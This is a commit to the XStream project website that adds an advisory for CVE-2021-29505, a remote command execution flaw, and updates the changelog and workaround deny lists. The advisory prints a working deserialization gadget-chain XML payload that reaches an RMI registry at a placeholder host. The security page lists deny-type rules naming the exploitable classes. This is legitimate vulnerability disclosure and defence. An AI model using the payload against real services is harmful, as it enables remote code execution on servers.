Skip to content

Commit 24fac82

Browse files
joehnijoehni
committed
Add description of CVE-2021-29505 and bug fix.
1 parent 8215cb2 commit 24fac82

File tree

4 files changed

+152
-5
lines changed

4 files changed

+152
-5
lines changed

‎xstream-distribution/src/content/CVE-2021-29505.html

+119
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
<html>
2+
<!--
3+
Copyright (C) 2021 XStream committers.
4+
All rights reserved.
5+
6+
The software in this package is published under the terms of the BSD
7+
style license a copy of which has been included with this distribution in
8+
the LICENSE.txt file.
9+
10+
Created on 8. May 2021 by Joerg Schaible
11+
-->
12+
<head>
13+
<title>CVE-2021-29505</title>
14+
</head>
15+
<body>
16+
17+
<h2 id="vulnerability">Vulnerability</h2>
18+
19+
<p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>
20+
21+
<h2 id="affected_versions">Affected Versions</h2>
22+
23+
<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
24+
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
25+
framework</a> with a whitelist limited to the minimal required types.</p>
26+
27+
<h2 id="description">Description</h2>
28+
29+
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
30+
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
31+
input stream and replace or inject objects, that result in execution of a local command on the server.</p>
32+
33+
<h2 id="reproduction">Steps to Reproduce</h2>
34+
35+
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
36+
unmarshal it again with XStream:</p>
37+
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
38+
&lt;unserializable-parents/&gt;
39+
&lt;java.util.PriorityQueue&gt;
40+
&lt;default&gt;
41+
&lt;size&gt;2&lt;/size&gt;
42+
&lt;/default&gt;
43+
&lt;int&gt;3&lt;/int&gt;
44+
&lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
45+
&lt;type&gt;12345&lt;/type&gt;
46+
&lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
47+
&lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
48+
&lt;/value&gt;
49+
&lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
50+
&lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
51+
&lt;type&gt;12345&lt;/type&gt;
52+
&lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
53+
&lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
54+
&lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
55+
&lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
56+
&lt;bodyParts/&gt;
57+
&lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
58+
&lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
59+
&lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
60+
&lt;soapPart/&gt;
61+
&lt;mm&gt;
62+
&lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
63+
&lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
64+
&lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
65+
&lt;names&gt;
66+
&lt;string&gt;aa&lt;/string&gt;
67+
&lt;string&gt;aa&lt;/string&gt;
68+
&lt;/names&gt;
69+
&lt;ctx&gt;
70+
&lt;environment/&gt;
71+
&lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
72+
&lt;java.rmi.server.RemoteObject&gt;
73+
&lt;string&gt;UnicastRef&lt;/string&gt;
74+
&lt;string&gt;ip2&lt;/string&gt;
75+
&lt;int&gt;1099&lt;/int&gt;
76+
&lt;long&gt;0&lt;/long&gt;
77+
&lt;int&gt;0&lt;/int&gt;
78+
&lt;short&gt;0&lt;/short&gt;
79+
&lt;boolean&gt;false&lt;/boolean&gt;
80+
&lt;/java.rmi.server.RemoteObject&gt;
81+
&lt;/registry&gt;
82+
&lt;host&gt;ip2&lt;/host&gt;
83+
&lt;port&gt;1099&lt;/port&gt;
84+
&lt;/ctx&gt;
85+
&lt;/candidates&gt;
86+
&lt;/aliases&gt;
87+
&lt;/it&gt;
88+
&lt;/mm&gt;
89+
&lt;/multiPart&gt;
90+
&lt;/sm&gt;
91+
&lt;/message&gt;
92+
&lt;/value&gt;
93+
&lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
94+
&lt;/java.util.PriorityQueue&gt;
95+
&lt;/java.util.PriorityQueue&gt;
96+
</pre></div>
97+
<div class="Source Java"><pre>XStream xstream = new XStream();
98+
xstream.fromXML(xml);
99+
</pre></div>
100+
101+
<p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>
102+
103+
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
104+
105+
<h2 id="impact">Impact</h2>
106+
107+
<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
108+
manipulating the processed input stream.</p>
109+
110+
<h2 id="workarounds">Workarounds</h2>
111+
112+
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
113+
114+
<h2 id="credits">Credits</h2>
115+
116+
<p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>
117+
118+
</body>
119+
</html>

‎xstream-distribution/src/content/changes.html

+17-2
Original file line numberDiff line numberDiff line change
@@ -101,11 +101,26 @@ <h2>Stream compatibility</h2>
101101
<li>No support for Hibernate 3 collections.</li>
102102
</ul>
103103

104-
<!--
105104
<h1 id="upcoming-1.4.x">Upcoming 1.4.x maintenance release</h1>
106105

107106
<p>Not yet released.</p>
108-
-->
107+
108+
<p class="highlight">This maintenance release addresses the security vulnerability
109+
<a href="CVE-2020-26258.html">CVE-2021-29505</a>, when unmarshalling with XStream instances using an uninitialized
110+
security framework.</p>
111+
112+
<h2>Stream compatibility</h2>
113+
114+
<ul>
115+
<li>The following types are now blacklisted by default and the deserialization
116+
of XML containing one of the two types will fail. You will have to enable these types by explicit
117+
configuration, if you need them:<br>
118+
<ul>
119+
<li>any type in the java.rmi.* and sun.rmi.* package hierarchies</li>
120+
<li>the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</li>
121+
</ul>
122+
</li>
123+
</ul>
109124

110125
<h1 id="1.4.16">1.4.16</h1>
111126

‎xstream-distribution/src/content/security.html

+15-3
Original file line numberDiff line numberDiff line change
@@ -44,11 +44,20 @@ <h2 id="CVEs">Documented Vulnerabilities</h2>
4444
Exposure (CVE) system managed by the <a href="http://www.mitre.org/">Mitre Corporation</a>. Following a list of the
4545
reported vulnerabilities for the different versions:</p>
4646

47-
<table summary="Table of reported vulnerabilities daocumented as CVE">
47+
<table summary="Table of reported vulnerabilities documented as CVE">
4848
<tr>
4949
<th>CVE</th>
5050
<th>Description</th>
5151
</tr>
52+
<tr>
53+
<th>Version 1.4.16</th>
54+
<td></td>
55+
<td></td>
56+
</tr>
57+
<tr>
58+
<th><a href="CVE-2021-29505.html">CVE-2021-29505</a></th>
59+
<td>XStream is vulnerable to a Remote Command Execution attack.</td>
60+
</tr>
5261
<tr>
5362
<th>Version 1.4.15</th>
5463
<td></td>
@@ -393,16 +402,19 @@ <h2 id="workaround">Workarounds for older XStream versions</h2>
393402
<div class="Source Java"><pre>XStream xstream = new XStream();
394403
// add your allowed types, type hierarchies or packages here
395404
</pre></div>
396-
<p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
405+
<p>Users of XStream 1.4.16 who insist to use XStream default blacklist - despite that clear recommendation - can
397406
add these lines to XStream's setup code:</p>
407+
<div class="Source Java"><pre>xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
408+
</pre></div>
409+
<p>Users of XStream 1.4.15 should <strong>additionally</strong> add these lines to the lines from above:</p>
398410
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
399411
xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader" });
400412
xstream.denyTypeHierarchy(java.io.InputStream.class );
401413
xstream.denyTypeHierarchy(java.nio.channels.Channel.class );
402414
xstream.denyTypeHierarchy(javax.activation.DataSource.class );
403415
xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class );
404416
</pre></div>
405-
<p>Users of XStream 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
417+
<p>Users of XStream 1.4.14 and 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
406418
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
407419
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
408420
</pre></div>

‎xstream-distribution/src/content/website.xml

+1
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,7 @@
7474
<page>CVE-2021-21349.html</page>
7575
<page>CVE-2021-21350.html</page>
7676
<page>CVE-2021-21351.html</page>
77+
<page>CVE-2021-29505.html</page>
7778
<page>CVE-2020-26217.html</page>
7879
<page>CVE-2020-26258.html</page>
7980
<page>CVE-2020-26259.html</page>

0 commit comments

Comments
 (0)